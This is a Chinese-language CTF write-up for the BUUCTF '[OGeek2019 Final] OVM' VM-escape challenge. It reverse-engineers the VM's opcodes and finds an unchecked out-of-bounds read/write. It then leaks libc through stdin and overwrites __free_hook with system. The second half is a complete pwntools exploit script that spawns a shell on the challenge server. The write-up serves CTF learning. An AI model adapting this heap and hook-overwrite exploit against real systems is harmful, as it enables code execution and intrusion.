zoukankan      html  css  js  c++  java
  • VMpwn:buuctf-[OGeek2019 Final]OVM

    转载需标明出处!

    做的第一道vmpwn,眼睛快看瞎了

    逆向

    关键点在下面不断获取指令然后运行指令

    在执行指令的过程中可以发现是取参数的四个字节分别来操作

    硬逆,逆出来可以得到vm实现了如下伪汇编指令

    0x10 : reg[num1] = target lowest
    0x20 : reg[num1] = target == 0
    0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
    0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
    0x50 : (push) stack[(signed int)op] = reg[num1]
    0x60 : (pop)  reg[num1] = stack[reg[13]]
    0x70 : (add) reg[num1] = reg[num3] + reg[num2]
    0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
    0x90 : (and) reg[num1] = reg[num3] & reg[num2]
    0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
    0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  
    0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
    0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
    0xFF : (exit or print) if(reg[13] != 0) print oper
    

    漏洞位于这两个位置,0x30和0x40分别实现了读和写的功能,但是没有验证范围,即有符号数可以正常解析,可以越界读写虚拟机的模拟内存


    (用的movsxd)

    最后程序退出后可以向之前程序一开始的位置申请的chunk中写入内容,同时写入内容后程序会free掉这个堆块


    逆向过程到此结束

    思路与调试过程

    程序有越界漏洞,我们观察bss,可以发现stdin在memory-0xe0的位置,由于memory的每个大小是双字,即stdin = memory[-56]
    我们可以将memory[-56]的内容利用read功能写入寄存器,调试一下观察__free_hook-0x8的位置在stdin+0x1090处,所以我们得以泄漏地址
    泄漏完由于寄存器保留着这个地址,而且comment = memory[-8]的位置,我们利用写功能,将寄存器的值写入到memory[-8]的位置,即可将原来的chunk指针改变为__free_hook - 0x8的地方
    最后向__free_hook写入payload,完成虚拟机逃逸

    注意的点是由于虚拟机模拟的单位内存是0x4个字节,所以泄漏和写入要分为两次进行,将低4字节存到一个寄存器里,将高2字节(memory[-55])再存到一个寄存器里,写入的时候也同理
    低四字节 --> memory[-8],高二字节 --> memory[-7]

    同时利用程序提供的虚拟指令来构造数据即可

    调试过程:
    1.成功将真实内存值写入虚拟寄存器

    2.成功将虚拟寄存器的值写入真实内存地址

    最后getshell

    exp

    from pwn import *
    
    local = 0
    
    '''
    author: lemon
    time: 2020-11-15
    libc: libc-2.23.so
    python version: 2.7
    '''
    
    binary = "./pwn"
    libc_path = '../libc-2.23.so'
    port = "29113"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    '''
    0x10 : reg[num1] = target lowest
    
    0x20 : reg[num1] = target == 0
    
    0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
    
    0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
    
    0x50 : (push) stack[(signed int)op] = reg[num1]
    
    0x60 : (pop)  reg[num1] = stack[reg[13]]
    
    0x70 : (add) reg[num1] = reg[num3] + reg[num2]
    
    0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
    
    0x90 : (and) reg[num1] = reg[num3] & reg[num2]
    
    0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
    
    0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  
    
    0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
    
    0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
    
    0xFF : (exit or print) if(reg[13] != 0) print oper
    '''
    
    # 0x10 : reg[num1] = target lowest
    def set_number(n1,n3):
    	return u32((p8(0x10) + p8(n1) + p8(0) + p8(n3))[::-1])
    
    # 0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
    def read(n1,n3):
    	return u32((p8(0x30) + p8(n1) + p8(0) + p8(n3))[::-1])
    
    # 0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
    def write(n1,n3):
    	return u32((p8(0x40) + p8(n1) + p8(0) + p8(n3))[::-1])
    
    # 0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
    def left(n1,n2,n3):
    	return u32((p8(0xc0) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
    def right(n1,n2,n3):
    	return u32((p8(0xd0) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0x70 : (add) reg[num1] = reg[num3] + reg[num2]
    def add(n1,n2,n3):
    	return u32((p8(0x70) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
    def sub(n1,n2,n3):
    	return u32((p8(0x80) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0x90 : (and) reg[num1] = reg[num3] & reg[num2]
    def And(n1,n2,n3):
    	return u32((p8(0x90) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
    def Or(n1,n2,n3):
    	return u32((p8(0xa0) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    # 0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]  
    def Xor(n1,n2,n3):
    	return u32((p8(0xb0) + p8(n1) + p8(n2) + p8(n3))[::-1])
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['__free_hook']
    	print "[*] libc base:",hex(libc_base)
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search('/bin/sh').next()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    memory = 0x202060
    reg = 0x242060
    stack = 0x2420A0
    comment = 0x202040
    stdin = memory - 0xe0
    offset = -56  # 0xffffffC8
    
    # reg[num3] = -56 = 0xffffffC8
    set_number(3,0xff)
    set_number(0,0x8)
    left(3,3,0)	# 0xff00
    set_number(2,0xff)
    add(3,3,2)	# 0xffff
    left(3,3,0)	# 0xffff00
    add(3,3,2)	# 0xffffff
    left(3,3,0)	# 0xffffff00
    set_number(2,0xc8)
    add(3,3,2)
    
    read(0,3)	# reg[0] = memory[reg[3]] = memory[-56]
    set_number(2,1)
    add(3,3,2)
    read(1,3)
    
    offset_free_hook_stdin = 0x1090
    
    set_number(5,0x10)
    set_number(6,0x8)
    left(5,5,6) 	# reg[5] = 0x1000
    set_number(6,0x90)
    add(5,5,6)
    add(0,0,5)
    
    set_number(6,47)
    add(3,3,6)
    write(0,3)
    set_number(6,1)
    add(3,3,6)
    write(1,3)
    
    code = [
    set_number(3,0xff),
    set_number(0,0x8),
    left(3,3,0),
    set_number(2,0xff),
    add(3,3,2),
    left(3,3,0),
    add(3,3,2),
    left(3,3,0),
    set_number(2,0xc8),
    add(3,3,2),
    read(0,3),
    set_number(2,1),
    add(3,3,2),
    read(1,3),
    set_number(5,0x10),
    set_number(6,0x8),
    left(5,5,6),
    set_number(6,0x90),
    add(5,5,6),
    add(0,0,5),
    set_number(6,47),
    add(3,3,6),
    write(0,3),
    set_number(6,1),
    add(3,3,6),
    write(1,3),
    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])
    ]
    
    p.sendlineafter('PCPC: ',str(0))
    p.sendlineafter('SP: ',str(1))
    p.sendlineafter('CODE SIZE: ',str(len(code)))
    p.recvuntil('CODE: ')
    
    for i in code:
    	p.sendline(str(i))
    
    p.recvuntil("R0: ")
    low_4 = int(p.recv(8),16)
    p.recvuntil("R1: ")
    high_2 = int(p.recv(4),16)
    
    temp = high_2 << 32
    leak = temp + low_4 + 8
    log.success("LEAK:{}".format(hex(leak)))
    leak_libc(leak)
    
    # dbg()
    
    payload = "/bin/shx00" + p64(system)
    p.send(payload)
    
    # gdb.attach(p)
    p.interactive()
    
  • 相关阅读:
    数据结构 C#描述 第七章 第二部分
    ASP.NET自定义控件组件开发 第一章 待续
    数据结构 C#描述 第五章 栈和队列
    新手写自定义分页控件
    为什么要自己写控件页不用网上成熟的控件呢?
    设计模式之间可以相互"功能替换"吗?
    转:说说大型高并发高负载网站的系统架构
    自定义控件开发之自定义视图状态
    为什么要自己写控件而不用网上成熟的控件(续:源代码)
    C#面试题之排序
  • 原文地址:https://www.cnblogs.com/lemon629/p/13975686.html
Copyright © 2011-2022 走看看